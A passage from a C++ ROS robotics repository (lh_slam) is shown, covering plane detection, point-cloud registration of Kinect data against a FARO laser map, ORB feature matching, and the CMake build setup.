// std::cout<<"r: "<<std::endl<<r<<std::endl;
// t
Eigen::Matrix3f a;
Eigen::Vector3f b;
Eigen::Vector3f t;
for(int i=0; i<matches.size(); i++)
{
Eigen::Vector4f k = matches[i].first;
Eigen::Vector4f f = matches[i].second;
a(i, 0) = k[0];
a(i, 1) = k[1];
a(i, 2) = k[2];
b[i] = k[3] - f[3];
}
t = -1.0 * (a.inverse() * b);
// std::cout<<"t: "<<std::endl<<t<<std::endl;
// generate T
T = Eigen::Matrix4f::Identity();
T << r(0,0), r(0,1), r(0,2), t[0],
r(1,0), r(1,1), r(1,2), t[1],
r(2,0), r(2,1), r(2,2), t[2],
0, 0, 0, 1;
// std::cout<<"T: "<<std::endl<<T<<std::endl;
// TODO: There are some bug in Eigen::Quaterniond q(r.cast<double>());
// T = Eigen::Isometry3d::Identity();
// Eigen::Quaterniond q(r.cast<double>());
// T.rotate(q);
// T.pretranslate(t.cast<double>()); //t.cast<double>() Eigen::Vector3d(0,0,0)
// std::cout<<"T: "<<std::endl<<T.matrix()<<std::endl;
return true;
}
// compute score of each transform
double global_loc::score(Eigen::Matrix4f T)
{
// TODO: remove the down sample process in plane detection
// calculate sum of the distance to the nearest point as the socre
CloudA::Ptr temp_ds_cloud(new CloudA());
voxel_grid(_kinect_cloud, temp_ds_cloud, 0.15);
CloudA::Ptr trans_cloud(new CloudA());
pcl::transformPointCloud(*temp_ds_cloud, *trans_cloud, T.inverse());
double score = 0;
for(int i=0; i<trans_cloud->points.size(); i++)
{
PointA p = trans_cloud->points[i];
std::vector<int> index;
std::vector<float> dis;
if(_faro_tree.nearestKSearch(p, 1, index, dis) >0)
{ score += dis[0]; }
}
return score;
}<file_sep>/README.md
# lh_slam will be a complete and effective RGB-D SLAM system, which is developing urgently, please look forward to it.
<file_sep>/include/plane.h
//
// Created by liuhang on 20190501.
//
#ifndef PLANE_H
#define PLANE_H
#include "common/common_headers.h"
#include "common/cloud_utils.h"
class plane
{
public:
plane(CloudA::Ptr &cloud);
void process(CloudA::Ptr &plane_cloud, std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp);
void region_grow(CloudA::Ptr cloud_in, CloudA::Ptr &cloud_out, std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp);
void plane_fitting(CloudA::Ptr cloud_in, Eigen::Vector4f ¶m);
void group(Eigen::Vector4f param, std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp);
void merge(std::unordered_map<int, std::vector<Eigen::Vector4f> > gp_in,
std::unordered_map<int, std::vector<Eigen::Vector4f> > &gp_out);
void plane_detect(CloudA::Ptr cloud_in, CloudA::Ptr &cloud_out);
void compute_area(CloudA::Ptr cloud_in, float &area);
void multi_plane_fitting(CloudA::Ptr cloud_in, std::vector<int> index_in, int points_count,
CloudA::Ptr &cloud_out, std::vector<int> &index_out );
private:
CloudA::Ptr _init_cloud;
CloudA::Ptr _ds_cloud;
CloudA::Ptr _ca_cloud;
};
#endif //PLANE_H<file_sep>/include/global_loc.h
//
// Created by liuhang on 20190528.
//
#ifndef GLOBAL_LOC_H
#define GLOBAL_LOC_H
#include "common/common_headers.h"
#include "common/cloud_utils.h"
#include "common/ros_utils.h"
#include "common/transform_utils.h"
#include "plane.h"
class global_loc
{
public:
global_loc();
~global_loc();
// set the params, subscribe and publish msgs
bool init(ros::NodeHandle &node, ros::NodeHandle &private_node);
// the sub-thread of this node
void spin();
// the process of this node
void process();
// msgs handler
inline void rgb_handler(const sensor_msgs::CompressedImage::ConstPtr &rgb_msg);
inline void depth_handler(const sensor_msgs::CompressedImage::ConstPtr &depth_msg);
inline void cloud_handler(const sensor_msgs::PointCloud2::ConstPtr &cloud_msg);
// ensure the all data are from the same frame, and each frame only be processed once
inline bool if_new_data();
// set the msgs flag to false, prapare for next frame
inline void reset();
// pre-process for kinect cloud: creat cloud, delete noise, pre-transform
inline void pre_process();
// load faro map data
void load_faro();
// plane association between kinect and faro
bool plane_match();
// solve pose
bool pose_solve(const std::vector<std::pair<Eigen::Vector4f, Eigen::Vector4f> > matches, Eigen::Matrix4f &T);
// compute score of each transform
double score(Eigen::Matrix4f T);
private:
std::thread _sub_thread; // sub-thread
std::mutex _mutex; // thread mutex lock
ros::Subscriber _sub_rgb; // subscribe msgs
ros::Subscriber _sub_depth;
ros::Subscriber _sub_cloud;
ros::Publisher _pub_kinect_cloud; // publish msgs
ros::Publisher _pub_pk_cloud;
ros::Publisher _pub_faro_cloud;
ros::Time _rgb_time; // time stamp
ros::Time _depth_time;
ros::Time _cloud_time;
cv::Mat _rgb_image; //image
cv::Mat _depth_image;
CloudA::Ptr _kinect_cloud; // cloud
CloudA::Ptr _pk_cloud;
CloudA::Ptr _faro_cloud;
CloudA::Ptr _pf_cloud;
bool _if_rgb; // the flag of whether a new msg received
bool _if_depth;
bool _if_cloud;
Eigen::Vector4f _cam_params; // cam params
pcl::KdTreeFLANN<PointA> _faro_tree; // kd-tree of faro cloud
std::unordered_map<int, std::vector<Eigen::Vector4f> > _kinect_params; // plane params
std::unordered_map<int, std::vector<Eigen::Vector4f> > _faro_params;
// params
int _skip_count; // skip some frame to reduce the compution
long _msgs_index; // the index of total msgs
std::string _cam_params_path; // path of cam params
std::string _faro_path; // path of faro map
};
#endif // GLOBAL_LOC_H<file_sep>/CMakeLists.txt
project(lh_slam)
cmake_minimum_required(VERSION 2.8.3)
add_compile_options(-std=c++11)
set(CMAKE_CXX_STANDARD 11)
set(CMAKE_BUILD_TYPE Release)
find_package(catkin REQUIRED COMPONENTS
cv_bridge
eigen_conversions
geometry_msgs
image_transport
nav_msgs
roscpp
rospy
sensor_msgs
std_msgs
tf
tf_conversions
)
find_package(Eigen3 REQUIRED)
find_package(PCL REQUIRED)
find_package(yaml-cpp REQUIRED)
find_package(libLAS REQUIRED)
#for OpenCV2 made by myself
# set(CUDA_USE_STATIC_CUDA_RUNTIME OFF)
# set(OpenCV_DIR /usr/local/share/OpenCV)
# find_package(OpenCV REQUIRED)
# message(FATAL_ERROR ${OpenCV_DIR})
#for OpenCV3 in ROS
find_package(OpenCV REQUIRED)
# message(FATAL_ERROR ${OpenCV_DIR})
catkin_package(
INCLUDE_DIRS include
LIBRARIES lh_slam
CATKIN_DEPENDS cv_bridge eigen_conversions geometry_msgs image_transport nav_msgs roscpp rospy sensor_msgs std_msgs tf tf_conversions
DEPENDS system_lib EIGEN3 PCL OpenCV
)
include_directories(
/user/local/include/
${PROJECT_SOURCE_DIR}/include/
${PROJECT_SOURCE_DIR}/include/common/
${catkin_INCLUDE_DIRS}
${PCL_INCLUDE_DIRS}
${OpenCV_INCLUDE_DIRS}
${YAML_CPP_DIRS}
${libLAS_DIRS}
)
add_subdirectory(src)
add_subdirectory(node)
<file_sep>/node/CMakeLists.txt
# feature_node
add_executable(feature_node feature_node.cpp)
target_link_libraries(feature_node lh_slam_lib)
# faro_node
add_executable(faro_node faro_node.cpp)
target_link_libraries(faro_node lh_slam_lib)
# global_loc_node
add_executable(global_loc_node global_loc_node.cpp)
target_link_libraries(global_loc_node lh_slam_lib)
# odom_node
add_executable(odom_node odom_node.cpp)
target_link_libraries(odom_node lh_slam_lib)
# map_node
add_executable(map_node map_node.cpp)
target_link_libraries(map_node lh_slam_lib)<file_sep>/src/odom.cpp
//
// Created by liuhang on 20190528.
//
#include "odom.h"
odom::odom()
{
}
odom::~odom()
{
}
// set the params, subscribe and publish msgs
bool odom::init(ros::NodeHandle &node, ros::NodeHandle &private_node)
{
return true;
}<file_sep>/src/CMakeLists.txt
add_library(lh_slam_lib
feature.cpp
plane.cpp
global_loc.cpp
odom.cpp
map.cpp
)
target_link_libraries(lh_slam_lib
${catkin_LIBRARIES}
${PCL_LIBRARIES}
${OpenCV_LIBRARIES}
${YAML_CPP_LIBRARIES}
${libLAS_LIBRARIES}
)<file_sep>/include/map.h
//
// Created by liuhang on 20190528.
//
#ifndef MAP_H
#define MAP_H
#include "common/common_headers.h"
#include "common/cloud_utils.h"
#include "common/ros_utils.h"
#include "common/transform_utils.h"
#include "plane.h"
class map
{
public:
map();
~map();
// set the params, subscribe and publish msgs
bool init(ros::NodeHandle &node, ros::NodeHandle &private_node);
private:
};
#endif // MAP_H<file_sep>/node/feature_node.cpp
//
// Created by liuhang on 20190404.
//
#include "feature.h"
int main(int argc, char** argv)
{
// initModule_nonfree();
ros::init(argc, argv, "feature");
ros::NodeHandle node;
ros::NodeHandle private_node("~");
feature f;
if(f.init(node, private_node))
{
ros::spin();
}
return 0;
}<file_sep>/include/common/ros_utils.h
#ifndef ROS_UTILS_H
#define ROS_UTILS_H
#include "common_headers.h"
//publish cloud msg
template<typename PointT>
inline void publish_cloud_msg(const ros::Publisher &publisher,
const typename pcl::PointCloud<PointT>::Ptr cloud,
const ros::Time &time,
const std::string frame_id)
{
sensor_msgs::PointCloud2 msg;
pcl::toROSMsg(*cloud, msg);
msg.header.stamp = time;
msg.header.frame_id = frame_id;
publisher.publish(msg);
}
//publish image msg
inline void publish_image_msg(ros::Publisher &publisher,
const cv::Mat &image_mat,
const ros::Time &time,
std::string frame_id,
std::string code_type)
{
sensor_msgs::CompressedImagePtr image_msg = cv_bridge::CvImage(std_msgs::Header(), code_type, image_mat).toCompressedImageMsg();
image_msg->header.stamp = time;
image_msg->header.frame_id = frame_id;
publisher.publish(image_msg);
}
#endif //ROS_UTILS_H<file_sep>/include/feature.h
//
// Created by liuhang on 20190404.
//
#ifndef FEATURE_H
#define FEATURE_H
#include "common/common_headers.h"
#include "common/cloud_utils.h"
#include "common/ros_utils.h"
#include "common/transform_utils.h"
#include "subimage_feature.h"
#include "plane.h"
class feature
{
public:
feature();
~feature();
// set the params, subscribe and publish msgs
bool init(ros::NodeHandle &node, ros::NodeHandle &private_node);
// the sub-thread of this node
void spin();
// the process of this node
void process();
// the recall handler of cloud msgs
inline void cloud_handler(const sensor_msgs::PointCloud2::ConstPtr &cloud_msg);
// the recall handler of rgb msgs
inline void rgb_handler(const sensor_msgs::CompressedImage::ConstPtr &rgb_msg);
// the recall handler of ir msgs
inline void ir_handler(const sensor_msgs::CompressedImage::ConstPtr &ir_msg);
// the recall handler of depth msgs
inline void depth_handler(const sensor_msgs::CompressedImage::ConstPtr &depth_msg);
// ensure the all data are from the same frame, and each frame only be processed once
inline bool if_new_data();
// set the msgs flag to false, prapare for next frame
inline void reset();
// publish msgs
inline void publish_msgs();
// search corresponding frame in rgb_image_map for cloud frame
inline bool data_match();
// detect and match features in images
bool feature_detect(cv::Mat &last_image, cv::Mat &image,
std::vector<cv::KeyPoint> &last_keypoints, std::vector<cv::KeyPoint> &keypoints,
cv::Mat &last_descriptor, cv::Mat &descriptor,
std::vector<cv::DMatch> &matches, cv::Mat &match_image,
bool &if_first_frame);
// stretch the gray scale of ir image to ensure feature extract process
void gray_stretch();
// load faro cloud
void faro();
// plane association between kinect and faro
bool plane_match();
// solve pose
bool pose_solve(std::vector<std::pair<Eigen::Vector4f, Eigen::Vector4f> > matches, Eigen::Matrix4f &T);
// compute score of each transform
double score(Eigen::Matrix4f T);
// match kinect and faro
void match();
private:
std::thread _process_thread; // the process thread
std::mutex _mutex; // thread mutex lock
ros::Subscriber _sub_cloud; // subscriber of cloud
ros::Subscriber _sub_rgb; // subscriber of rgb image
ros::Subscriber _sub_depth; // subscriber of depth image
ros::Subscriber _sub_ir; // subscriber of ir image
ros::Publisher _pub_image; // publisher of image
ros::Publisher _pub_cloud; // publisher of cloud
ros::Publisher _pub_kinect;
ros::Publisher _pub_faro; // publisher of faro cloud
ros::Time _cloud_time; // time stamp of cloud
ros::Time _rgb_time; // time stamp of rgb image
ros::Time _depth_time; // time stamp of depth image
ros::Time _ir_time; // time stamp of ir image
CloudA::Ptr _cloud; // cloud in pcl format
CloudA::Ptr _ds_cloud; // down sample cloud
CloudA::Ptr _plane_cloud; // plane cloud of kinect
CloudA::Ptr _T_plane_cloud;
CloudA::Ptr _faro_cloud; //faro cloud
CloudA::Ptr _pf_cloud; //plane cloud of faro
cv::Mat _rgb_image; // rgb cv image
cv::Mat _ir_image; // ir cv image
cv::Mat _last_rgb_image; // the last frame rgb cv image
cv::Mat _last_ir_image; // the last frame ir cv image
std::vector<cv::KeyPoint> _rgb_keypoints; // the keypoints of the current rgb frame
std::vector<cv::KeyPoint> _ir_keypoints; // the keypoints of the current ir frame
std::vector<cv::KeyPoint> _last_rgb_keypoints; // the keypoints of the last rgb frame
std::vector<cv::KeyPoint> _last_ir_keypoints; // the keypoints of the last ir frame
cv::Mat _rgb_descriptor; // the feature descriptor of current rgb frame
cv::Mat _ir_descriptor; // the feature descriptor of current ir frame
cv::Mat _last_rgb_descriptor; // the feature descriptor of last rgb frame
cv::Mat _last_ir_descriptor; // the feature descriptor of last ir frame
std::vector<cv::DMatch> _rgb_matches; // rgb matches of two frames
std::vector<cv::DMatch> _ir_matches; // ir matches of two frames
cv::Mat _keypoints_image;
cv::Mat _match_image;
cv_bridge::CvImagePtr _depth_bridge; // depth cv bridge
cv_bridge::CvImagePtr _ir_bridge; // ir cv bridge
std::map<ros::Time, cv_bridge::CvImagePtr> _rgb_bridge_map; // the map of rgb cv bridge
bool _if_cloud; // the flag of whether a new cloud msg received
bool _if_rgb_image; // the flag of whether a new rgb_image msg received
bool _if_depth_image; // the flag of whether a new depth_image msg received
bool _if_ir_image; // the flag of whether a new ir_image msg received
bool _if_first_frame; // the flag of whether it's the first process frame, to 2D feature match
long _msgs_index; // the total msgs index
int _skip_count; // skip some frame to reduce the compution
std::unordered_map<int, std::vector<Eigen::Vector4f> > _kinect_gp;
std::unordered_map<int, std::vector<Eigen::Vector4f> > _faro_gp;
pcl::KdTreeFLANN<PointA> _tree;
std::map<double, Eigen::Matrix4f> _scores;
};
#endif // FEATURE_H<file_sep>/src/feature.cpp
//
// Created by liuhang on 20190404.
//
#include "feature.h"
feature::feature()
:_cloud(new CloudA()), _ds_cloud(new CloudA()),
_plane_cloud(new CloudA()), _T_plane_cloud(new CloudA()),
_faro_cloud(new CloudA()), _pf_cloud(new CloudA())
{
_if_cloud = false;
_if_rgb_image = false;
_if_depth_image = false;
_if_ir_image = false;
_if_first_frame = true;
_msgs_index = 0;
faro();
}
feature::~feature()
{ }
// set the params, subscribe and publish msgs
bool feature::init(ros::NodeHandle &node, ros::NodeHandle &private_node)
{
// load params
private_node.getParam("skip_count", _skip_count);
// subscribe and publish msgs
// _sub_rgb = node.subscribe<sensor_msgs::CompressedImage>("/kinect2/sd/image_color_rect/compressed", 10, &feature::rgb_handler, this);
// _sub_ir = node.subscribe<sensor_msgs::CompressedImage>("/kinect2/sd/image_ir/compressed", 10, &feature::ir_handler, this);
// _sub_depth = node.subscribe<sensor_msgs::CompressedImage>("/kinect2/sd/image_depth/compressed", 10, &feature::depth_handler, this);
// _pub_image = node.advertise<sensor_msgs::CompressedImage>("/match_image// compressed", 10);
_sub_cloud = node.subscribe<sensor_msgs::PointCloud2>("/kinect2/sd/points", 10, &feature::cloud_handler, this);
_pub_cloud = node.advertise<sensor_msgs::PointCloud2>("/plane_cloud", 10);
_pub_faro = node.advertise<sensor_msgs::PointCloud2>("/faro_cloud", 10);
_pub_kinect = node.advertise<sensor_msgs::PointCloud2>("/kinect", 10);
// start the process thread
_process_thread = std::thread(&feature::spin, this);
return true;
}
// the process of this node
void feature::spin()
{
// set the max process rate
ros::Rate rate(100);
// fall into the process loop
bool status = ros::ok();
while(status)
{
ros::spinOnce();
_mutex.lock();
process();
_mutex.unlock();
status = ros::ok();
rate.sleep();
}
}
// the process of this node
void feature::process()
{
// if there are no new data, return
if(!if_new_data())
{ return; }
// set the msgs flag to false, prapare for next frame
reset();
// skip some frames to reduce compution
_msgs_index++;
if(_skip_count > 0)
{
if(_msgs_index % (_skip_count+1) != 1)
{ return; }
}
// find the corrspondence frame in rgb_image_map for cloud frame
// if(!data_match())
// { return; }
// detect 2D features in rgb image, and macth two images
// for rgb images
// bool b = feature_detect(_last_rgb_image, _rgb_image, _last_rgb_keypoints, _rgb_keypoints,
// _last_rgb_descriptor, _rgb_descriptor,
// _rgb_matches, _match_image, _if_first_frame);
// for ir images
// bool b = feature_detect(_last_ir_image, _ir_image, _last_ir_keypoints, _ir_keypoints,
// _last_ir_descriptor, _ir_descriptor,
// _ir_matches, _match_image, _if_first_frame);
// if(!b)
// { return; }
std::cout<<"kinect plane params: "<<std::endl;
_plane_cloud->clear();
plane p(_cloud);
p.process(_plane_cloud, _kinect_gp);
// match();
if( !plane_match() )
{ return; }
// publish msgs
publish_msgs();
}
// the recall handler of cloud msgs
inline void feature::cloud_handler(const sensor_msgs::PointCloud2::ConstPtr &cloud_msg)
{
_mutex.lock();
CloudA::Ptr temp_cloud(new CloudA());
// _cloud->clear();
ros::Time time = ros::Time::now();
_cloud_time = cloud_msg->header.stamp;
pcl::fromROSMsg(*cloud_msg, *temp_cloud);
_if_cloud = true;
// delete noise
delete_noise(temp_cloud, _cloud);
// transform z axis to up/down
Eigen::Isometry3f T = getTransformYXZT(0, 0, 0, -90.0/180.0*M_PI, 0.0/180.0*M_PI, 0.0/180.0*M_PI);
pcl::transformPointCloud(*_cloud, *_cloud, T.matrix());
Eigen::Isometry3f T1 = getTransformYXZT(0, 0, 0, 0.0/180.0*M_PI, 0.0/180.0*M_PI, -90.0/180.0*M_PI);
pcl::transformPointCloud(*_cloud, *_cloud, T1.matrix());
// Eigen::Isometry3f T2 = getTransformYXZT(0, 0, 0, 0.0/180.0*M_PI, -25.0/180.0*M_PI, 0.0/180.0*M_PI);
// pcl::transformPointCloud(*_cloud, *_cloud, T2.matrix());
// save_cloud("/home/liuhang/Documents/data/faro/kinect.pcd", *_cloud);
_mutex.unlock();
}
// the recall handler of rgb msgs
inline void feature::rgb_handler(const sensor_msgs::CompressedImage::ConstPtr &rgb_msg)
{
_mutex.lock();
try
{
// // for rbg image "bgr8" or "8UC3"; for depth image "16UC1" or "mono16"; for ir image "16UC1" or "8UC1"
// // "toCvCopy" or "toCvShare"
ros::Time rgb_time = rgb_msg->header.stamp;
cv_bridge::CvImagePtr rgb_image = cv_bridge::toCvCopy(rgb_msg, "bgr8");
_rgb_bridge_map[rgb_time] = rgb_image;
if(_rgb_bridge_map.size() > 8)
{ _rgb_bridge_map.erase(_rgb_bridge_map.begin()); }
// save images
// double t = rgb_time.toSec();
// std::string file_path = "/home/liuhang/data/calibration/" + std::to_string(t) + "_rgb.png";
// cv::imwrite(file_path, rgb_image->image);
// std::cout<<rgb_time<<" rgb image saved!"<<std::endl;
// std::cout<<rgb_image->image.rows<<" "<<rgb_image->image.cols<<std::endl;
}
catch(cv_bridge::Exception& e)
{
ROS_ERROR("cv_bridge exception: %s", e.what());
return;
}
_mutex.unlock();
}
// the recall handler of depth msgs
inline void feature::depth_handler(const sensor_msgs::CompressedImage::ConstPtr &depth_msg)
{
_mutex.lock();
try
{
// for rbg image "bgr8" or "8UC3"; for depth image "16UC1"; for ir image "16UC1" or "8UC1"
// "toCvCopy" or "toCvShare"
_depth_time = depth_msg->header.stamp;
_depth_bridge = cv_bridge::toCvCopy(depth_msg, "16UC1");
_if_depth_image = true;
// save images
// double t = _depth_time.toSec();
// std::string file_path = "/home/liuhang/data/calibration/" + std::to_string(t) + "_depth.png";
// cv::imwrite(file_path, _depth_bridge->image);
// std::cout<<_depth_time<<" depth image saved!"<<std::endl;
}
catch(cv_bridge::Exception& e)
{
ROS_ERROR("cv_bridge exception: %s", e.what());
return;
}
_mutex.unlock();
}
// the recall handler of ir msgs
inline void feature::ir_handler(const sensor_msgs::CompressedImage::ConstPtr &ir_msg)
{
_mutex.lock();
try
{
_ir_time = ir_msg->header.stamp;
_ir_bridge = cv_bridge::toCvCopy(ir_msg, "8UC1");
_if_ir_image = true;
gray_stretch();
}
catch(const std::exception& e)
{
ROS_ERROR("cv_bridge exception: %s", e.what());
return;
}
_mutex.unlock();
}
// publish msgs
inline void feature::publish_msgs()
{
// publish_image_msg(_pub_image, _match_image, _cloud_time, "kinect2_ir_optical_frame", "bgr8");
publish_cloud_msg<PointA>(_pub_cloud, _plane_cloud, _cloud_time, "kinect2_ir_optical_frame");
publish_cloud_msg<PointA>(_pub_faro, _faro_cloud, _cloud_time, "kinect2_ir_optical_frame");
publish_cloud_msg<PointA>(_pub_kinect, _cloud, _cloud_time, "kinect2_ir_optical_frame");
}
// ensure the all data are from the same frame, and each frame only be processed once
inline bool feature::if_new_data()
{
// std::cout<<fabs((_depth_time - _rgb_time).toSec())<<std::endl;
// return _if_rgb_image && _if_depth_image &&
// fabs((_cloud_time - _rgb_time).toSec()) < 0.05; // 0.3
// fabs((_depth_time - _rgb_time).toSec()) <0.05;
return _if_cloud;
// && _if_ir_image;
}
// set the msgs flag to false, prapare for next frame
inline void feature::reset()
{
_if_cloud = false;
_if_rgb_image = false;
_if_depth_image = false;
_if_ir_image = false;
_last_rgb_image = _rgb_image.clone();
_last_rgb_keypoints = _rgb_keypoints;
_last_rgb_descriptor = _rgb_descriptor.clone();
_last_ir_image = _ir_image.clone();
_last_ir_keypoints = _ir_keypoints;
_last_ir_descriptor = _ir_descriptor.clone();
}
// search corresponding frame in rgb_image_map for cloud frame
inline bool feature::data_match()
{
auto it = _rgb_bridge_map.find(_cloud_time);
if(it == _rgb_bridge_map.end())
{ return false; }
_rgb_image = it->second->image;
return true;
}
// feature detect
bool feature::feature_detect(cv::Mat &last_image, cv::Mat &image,
std::vector<cv::KeyPoint> &last_keypoints, std::vector<cv::KeyPoint> &keypoints,
cv::Mat &last_descriptor, cv::Mat &descriptor,
std::vector<cv::DMatch> &matches, cv::Mat &match_image,
bool &if_first_frame)
{
matches.clear();
// feature deatect in OpenCV2.x
// cv::Ptr<cv::FeatureDetector> detector = cv::FeatureDetector::create("ORB");
// feature detect in OpenCV3.X, the contrib is needed for SIFT and SURF
// cv::Ptr<cv::xfeatures2d::SURF> detector = cv::xfeatures2d::SURF::create(); // 180ms for qhd size
// cv::Ptr<cv::xfeatures2d::SIFT> detector = cv::xfeatures2d::SIFT::create(); // 300ms for qhd size
cv::Ptr<cv::ORB> detector = cv::ORB::create(); // 30ms for qhd size
if(if_first_frame)
{
last_image = image.clone();
// detector->detect(last_image, last_keypoints);
detect(detector, last_image, 250, last_keypoints);
detector->compute(last_image, last_keypoints, last_descriptor);
if_first_frame = false;
return false;
}
// detector->detect(image, keypoints);
detect(detector, image, 250, keypoints);
detector->compute(image, keypoints, descriptor);
cv::BFMatcher matcher(cv::NORM_HAMMING);
std::vector<cv::DMatch> temp_matches;
matcher.match(last_descriptor, descriptor, temp_matches);
double min_dist = 1000, max_dist = 0;
for(int i=0; i<temp_matches.size(); i++)
{
double dist = temp_matches[i].distance;
if(dist < min_dist) min_dist = dist;
if(dist > max_dist) max_dist = dist;
}
for(int i=0; i<temp_matches.size(); i++)
{
if(temp_matches[i].distance <= std::max(2*min_dist, 30.0))
{ matches.push_back(temp_matches[i]); }
}
cv::drawMatches(last_image, last_keypoints, image, keypoints,
matches, match_image);
// std::cout<<"kp count: "<<keypoints.size()<<std::endl;
// std::cout<<"temp_matches count: "<<temp_matches.size()<<std::endl;
// std::cout<<"matches count: "<<matches.size()<<std::endl;
// cv::drawKeypoints(image, keypoints, _keypoints_image,
// cv::Scalar::all(-1), cv::DrawMatchesFlags::DRAW_RICH_KEYPOINTS);
// std::string path = "/home/liuhang/Documents/" + std::to_string(_msgs_index) + ".png";
// cv::imwrite(path, image);
return true;
}
// stretch the gray scale of ir image to ensure feature extract process
void feature::gray_stretch()
{
// statistic the gray value
_ir_image = _ir_bridge->image.clone();
std::map<int, int> sta;
int rows = _ir_image.rows;
int cols = _ir_image.cols;
for(int i=0; i<rows; i++)
{
for(int j=0; j<cols; j++)
{
// uchar/8UC1, uchar/16UC1
int v = (int)_ir_image.at<uchar>(i,j);
sta[v]++;
}
}
// calculate the min and max of 0.5%
double persent = 0;
int min=0, max=0;
bool if_min=false, if_max=false;
for(auto it : sta)
{
double persent_temp = (it.second*1.0) / (rows*cols) * 100;
persent += persent_temp;
if(!if_min && persent>0.8)
{
min = it.first;
if_min = true;
// std::cout<<"min "<<min<<std::endl;
}
else if(!if_max && persent>99.2)
{
max = it.first;
if_max = true;
// std::cout<<"max "<<max<<std::endl;
break;
}
}
// strectch the gray scale
for(int i=0; i<rows; i++)
{
for(int j=0; j<cols; j++)
{
int v = (int)_ir_image.at<uchar>(i,j);
if(v <= min)
{ _ir_image.at<uchar>(i,j) = 0; }
else if(v >= max)
{ _ir_image.at<uchar>(i,j) = 255; }
else
{ _ir_image.at<uchar>(i,j) = (255/(max-min))*(_ir_image.at<uchar>(i,j)-min); }
}
}
}
// load faro cloud
void feature::faro()
{
// load data
pcl::io::loadPCDFile<PointA>("/home/liuhang/Documents/data/faro/216_ds_0.1.pcd", *_faro_cloud);
Eigen::Isometry3f T = getTransformYXZT(0, 0, 0, 0.0/180.0*M_PI, 0.0/180.0*M_PI, 20.0/180.0*M_PI);
pcl::transformPointCloud(*_faro_cloud, *_faro_cloud, T.matrix());
// plane segmentation
std::cout<<"faro plane params: "<<std::endl;
plane p(_faro_cloud);
p.process(_pf_cloud, _faro_gp);
// build kd-tree
_tree.setInputCloud(_faro_cloud);
}
// plane association between kinect and faro
bool feature::plane_match()
{
_scores.clear();
//
std::cout<<"!!!!!!!!!!!!!!!"<<std::endl;
std::cout<<_faro_gp[0].size()<<" "<<_faro_gp[1].size()<<" "<<_faro_gp[2].size()<<std::endl;
std::cout<<_kinect_gp[0].size()<<" "<<_kinect_gp[1].size()<<" "<<_kinect_gp[2].size()<<std::endl;
// ensure data is available in all three directions of faro and kinect
if(_faro_gp[0].size()==0 || _faro_gp[1].size()==0 || _faro_gp[2].size()==0)
{
std::cout<<"The constraints in faro is not enough !!!!"<<std::endl;
return false;
}
if(_kinect_gp[0].size()==0 || _kinect_gp[1].size()==0 || _kinect_gp[2].size()==0)
{
std::cout<<"The constraints in kinect is not enough !!!!"<<std::endl;
return false;
}
// try to find the correct match between all possible combination
int num = 0;
std::vector<std::pair<Eigen::Vector4f, Eigen::Vector4f> > matches(3);
for(int i=0; i<_faro_gp[2].size(); i++)
{
// z
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_z(_kinect_gp[2][0], _faro_gp[2][i]);
matches[0] = match_z;
for(int j=0; j<_faro_gp[0].size(); j++)
{
// x
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_x(_kinect_gp[0][0], _faro_gp[0][j]);
matches[1] = match_x;
for(int k=0; k<_faro_gp[1].size(); k++)
{
// y
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_y(_kinect_gp[1][0], _faro_gp[1][k]);
matches[2] = match_y;
// solve
Eigen::Matrix4f T;
if( pose_solve(matches, T) )
{
// score
double s = score(T);
_scores[s] = T;
// // transform cloud
// CloudA::Ptr temp(new CloudA());
// pcl::transformPointCloud(*_plane_cloud, *temp, T.inverse().matrix());
// std::string path = "/home/liuhang/Documents/data/faro/k" + std::to_string(num) + ".pcd";
// save_cloud(path, *temp);
// num++;
}
}
}
// the relationship of kinect and faro in x, y directions are confused
for(int j=0; j<_faro_gp[0].size(); j++)
{
// x
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_x(_kinect_gp[1][0], _faro_gp[0][j]);
matches[1] = match_x;
for(int k=0; k<_faro_gp[1].size(); k++)
{
// y
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_y(_kinect_gp[0][0], _faro_gp[1][k]);
matches[2] = match_y;
// solve
Eigen::Matrix4f T;
if( pose_solve(matches, T) )
{
// score
double s = score(T);
_scores[s] = T;
// // transform cloud
// CloudA::Ptr temp(new CloudA());
// pcl::transformPointCloud(*_plane_cloud, *temp, T.inverse().matrix());
// std::string path = "/home/liuhang/Documents/data/faro/k" + std::to_string(num) + ".pcd";
// save_cloud(path, *temp);
// num++;
}
}
}
}
// transform cloud
auto it = _scores.begin();
Eigen::Matrix4f TT = it->second;
std::cout<<"TT: "<<std::endl<<TT.inverse()<<std::endl;
pcl::transformPointCloud(*_plane_cloud, *_plane_cloud, TT.inverse());
pcl::transformPointCloud(*_cloud, *_cloud, TT.inverse());
return true;
}
// solve pose
bool feature::pose_solve(std::vector<std::pair<Eigen::Vector4f, Eigen::Vector4f> > matches, Eigen::Matrix4f &T)
{
// r
Eigen::Matrix3f w = Eigen::Matrix3f::Zero();
for(int i=0; i<matches.size(); i++)
{
Eigen::Vector4f k = matches[i].first;
Eigen::Vector4f f = matches[i].second;
w += Eigen::Vector3f(k[0], k[1], k[2]) * Eigen::Vector3f(f[0], f[1], f[2]).transpose();
}
Eigen::JacobiSVD<Eigen::Matrix3f> svd(w, Eigen::ComputeFullU|Eigen::ComputeFullV);
Eigen::Matrix3f u = svd.matrixU();
Eigen::Matrix3f v = svd.matrixV();
Eigen::Matrix3f r = u*(v.transpose());
// std::cout<<"r: "<<std::endl<<r<<std::endl;
// t
Eigen::Matrix3f a;
Eigen::Vector3f b;
Eigen::Vector3f t;
for(int i=0; i<matches.size(); i++)
{
Eigen::Vector4f k = matches[i].first;
Eigen::Vector4f f = matches[i].second;
a(i, 0) = k[0];
a(i, 1) = k[1];
a(i, 2) = k[2];
b[i] = k[3] - f[3];
}
t = -1.0 * (a.inverse() * b);
// std::cout<<"t: "<<std::endl<<t<<std::endl;
// generate T
// There are some bug in Eigen::Quaterniond q(r.cast<double>());
T = Eigen::Matrix4f::Identity();
T << r(0,0), r(0,1), r(0,2), t[0],
r(1,0), r(1,1), r(1,2), t[1],
r(2,0), r(2,1), r(2,2), t[2],
0, 0, 0, 1;
// std::cout<<"T: "<<std::endl<<T<<std::endl;
// T = Eigen::Isometry3d::Identity();
// Eigen::Quaterniond q(r.cast<double>());
// T.rotate(q);
